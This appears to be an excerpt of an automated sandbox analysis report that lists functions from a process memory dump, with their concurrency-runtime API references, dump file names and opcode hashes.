Function 006BEB78 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 006BEBB1

Part of subcall function 006B8E5F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 006B8E80

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 006BEC17
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 006BEC2F
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 006BEC3C

Part of subcall function 006BE6DF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 006BE707
Part of subcall function 006BE6DF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 006BE79F
Part of subcall function 006BE6DF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 006BE7A9
Part of subcall function 006BE6DF: Concurrency::location::_Assign.LIBCMT ref: 006BE7DD
Part of subcall function 006BE6DF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 006BE7E5

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 57d4f933ed76104641715c4e841e345b8545dc92572406fb234bd5fa135e807d
Instruction ID: 87ddeba3b62ceb1305ef4ca17925d2e0ac35b3103bb88ce1a1d2c34498673cca
Opcode Fuzzy Hash: 57d4f933ed76104641715c4e841e345b8545dc92572406fb234bd5fa135e807d
Instruction Fuzzy Hash: B25182B5A002059BDF14DF54C895FEDBB77AF44710F158068E9066B392CB72AE86CBA0

Function 006ACAC7 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 006ACADA

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 0fdc0ad65cff2bc23faa506f081e62ac686679478237fcfdfc6f5cd22dff2fdd
Instruction ID: 0226f0e9f47d5ae49003c57db625709fb62de29c0fea7038a316b9ab767c2f9b
Opcode Fuzzy Hash: 0fdc0ad65cff2bc23faa506f081e62ac686679478237fcfdfc6f5cd22dff2fdd
Instruction Fuzzy Hash: D7B09232A039384BCB927B14BC886AD77969B41B2134B1156EA06AB2348A505D828FD4

Function 006ADCC1 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd3d9f2ab10eaf3d381c352b45fd3decf3516ead15111f94247d2a82861603e7
Instruction ID: 82751d09e6a28b6f5e99d24da342b8839b555c35039b4f8deaa72e7557859f04
Opcode Fuzzy Hash: dd3d9f2ab10eaf3d381c352b45fd3decf3516ead15111f94247d2a82861603e7
Instruction Fuzzy Hash: 0E5178B2A006068FDB15DF58D8917AEBBF2FB48310F24856AD406EBB94D7749D50CF50

Function 006AEF58 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006AF1EB

Strings

pEvents, xrefs: 006AF1E3

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: eaf1883b7c31e72eebec32b095c4a5ebc6517cfde247af39d9dfa9e105eeee33
Instruction ID: f1826135085c17e0ae789b33f748a9abdbc07d0ad82bfc93d21a7df6c4d9867c
Opcode Fuzzy Hash: eaf1883b7c31e72eebec32b095c4a5ebc6517cfde247af39d9dfa9e105eeee33
Instruction Fuzzy Hash: D0815931D00219DBDF24EBE8C981BEEB7B6AF46314F244429E401A7382DB75AD46CF52

Function 006C25FE Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 006C2610

Part of subcall function 006C240E: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006C2431

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 006C2631
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 006C263E
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 006C268C
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 006C2713
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 006C2726
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 006C2773

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: ff82122c2673b15222ef7c8e0e4b6b490803e6525ae12b3d6e630de2a22a09a8
Instruction ID: 4f038c7f7813285368c856dc7f11cca00f62350e999405e6e466c6cea12e161e
